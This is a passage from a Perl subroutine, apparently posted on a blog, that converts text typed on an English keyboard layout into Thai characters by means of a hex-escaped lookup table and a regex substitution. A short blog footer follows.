"\x30"=>"\xa8", "\x31"=>"\xe5", "\x32"=>"\x2f", "\x33"=>"\x2d", "\x34"=>"\xc0", "\x35"=>"\xb6", "\x36"=>"\xd8", "\x37"=>"\xd6", "\x38"=>"\xa4", "\x39"=>"\xb5",
"\x3a"=>"\xab", "\x3b"=>"\xc7", "\x3c"=>"\xb2", "\x3d"=>"\xaa", "\x3e"=>"\xcc", "\x3f"=>"\xc6",
"\x40"=>"\xf1", "\x41"=>"\xc4", "\x42"=>"\xda", "\x43"=>"\xa9", "\x44"=>"\xaf", "\x45"=>"\xae", "\x46"=>"\xe2", "\x47"=>"\xac", "\x48"=>"\xe7", "\x49"=>"\xb3",
"\x4a"=>"\xeb", "\x4b"=>"\xc9", "\x4c"=>"\xc8", "\x4d"=>"\x3f", "\x4e"=>"\xec", "\x4f"=>"\xcf",
"\x50"=>"\xad", "\x51"=>"\xf0", "\x52"=>"\xb1", "\x53"=>"\xa6", "\x54"=>"\xb8", "\x55"=>"\xea", "\x56"=>"\xce", "\x57"=>"\x22", "\x58"=>"\x29", "\x59"=>"\xed",
"\x5a"=>"\x28", "\x5b"=>"\xba", "\x5c"=>"\xa3", "\x5d"=>"\xc5", "\x5e"=>"\xd9", "\x5f"=>"\xf8",
"\x60"=>"\x60", "\x61"=>"\xbf", "\x62"=>"\xd4", "\x63"=>"\xe1", "\x64"=>"\xa1", "\x65"=>"\xd3", "\x66"=>"\xb4", "\x67"=>"\xe0", "\x68"=>"\xe9", "\x69"=>"\xc3",
"\x6a"=>"\xe8", "\x6b"=>"\xd2", "\x6c"=>"\xca", "\x6d"=>"\xb7", "\x6e"=>"\xd7", "\x6f"=>"\xb9",
"\x70"=>"\xc2", "\x71"=>"\xe6", "\x72"=>"\xbe", "\x73"=>"\xcb", "\x74"=>"\xd0", "\x75"=>"\xd5", "\x76"=>"\xcd", "\x77"=>"\xe4", "\x78"=>"\xbb", "\x79"=>"\xd1",
"\x7a"=>"\xbc", "\x7b"=>"\xb0", "\x7c"=>"\xb5", "\x7d"=>"\x2c",
"\xa1"=>"\x64", "\xa2"=>"\x2d", "\xa3"=>"\x5c", "\xa4"=>"\x38", "\xa5"=>"\x7c", "\xa6"=>"\x53", "\xa7"=>"\x27", "\xa8"=>"\x30", "\xa9"=>"\x43",
"\xaa"=>"\x3d", "\xab"=>"\x3a", "\xac"=>"\x47", "\xad"=>"\x50", "\xae"=>"\x45", "\xaf"=>"\x44",
"\xb0"=>"\x7b", "\xb1"=>"\x52", "\xb2"=>"\x3c", "\xb3"=>"\x49", "\xb4"=>"\x66", "\xb5"=>"\x39", "\xb6"=>"\x35", "\xb7"=>"\x6d", "\xb8"=>"\x54", "\xb9"=>"\x6f",
"\xba"=>"\x5b", "\xbb"=>"\x58", "\xbc"=>"\x5a", "\xbd"=>"\x2f", "\xbe"=>"\x72", "\xbf"=>"\x61",
"\xc0"=>"\x34", "\xc1"=>"\x2c", "\xc2"=>"\x70", "\xc3"=>"\x69", "\xc4"=>"\x41", "\xc5"=>"\x5d", "\xc6"=>"\x3f", "\xc7"=>"\x3b", "\xc8"=>"\x4c", "\xc9"=>"\x4b",
"\xca"=>"\x6c", "\xcb"=>"\x73", "\xcc"=>"\x3e", "\xcd"=>"\x76", "\xce"=>"\x56", "\xcf"=>"\x4f",
"\xd0"=>"\x74", "\xd1"=>"\x79", "\xd2"=>"\x6b", "\xd3"=>"\x65", "\xd4"=>"\x62", "\xd5"=>"\x75", "\xd6"=>"\x37", "\xd7"=>"\x6e", "\xd8"=>"\x36", "\xd9"=>"\x5e",
"\xda"=>"\x42", "\xdf"=>"\x26",

"\xe0"=>"\x37", "\xe1"=>"\x63", "\xe2"=>"\x46", "\xe3"=>"\x2e", "\xe4"=>"\x77", "\xe5"=>"\x31", "\xe6"=>"\x71", "\xe7"=>"\x48", "\xe8"=>"\x6a", "\xe9"=>"\x68",
"\xea"=>"\x55", "\xeb"=>"\x4a", "\xec"=>"\x4e", "\xed"=>"\x59",

"\xf0"=>"\x51", "\xf1"=>"\x40", "\xf2"=>"\x23", "\xf3"=>"\x24", "\xf4"=>"\x25", "\xf5"=>"\x37", "\xf6"=>"\x28", "\xf7"=>"\x29",
"\xf8"=>"\x2d", "\xf9"=>"\x2b"
);
$eninput =~ s/([\x21-\x7D\xA1-\xDA\xDF-\xED\xF0-\xF9])/$h{$1}/ig;
$thai = $eninput;
return ($thai);
}

Why You Don't LIKE My FaceBook Fanpage ?
×
blogger